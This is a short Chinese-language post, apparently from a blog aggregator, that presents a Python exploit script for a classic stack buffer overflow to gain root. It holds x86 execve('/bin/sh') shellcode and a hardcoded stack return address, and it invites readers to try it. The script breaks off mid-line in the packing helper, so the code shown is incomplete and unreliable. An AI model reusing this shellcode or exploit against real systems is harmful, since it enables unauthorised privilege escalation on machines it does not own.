Python经典栈缓冲区溢出获取root权限

是Python2还是3我给忘记了,大家自己试试吧。

#!/usr/bin/env python
#-*-coding:utf-8-*-
#exp.py

import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#endianess convertion
def conv(num):
 return struct.pack("

你可能感兴趣的:(Python经典栈缓冲区溢出获取root权限)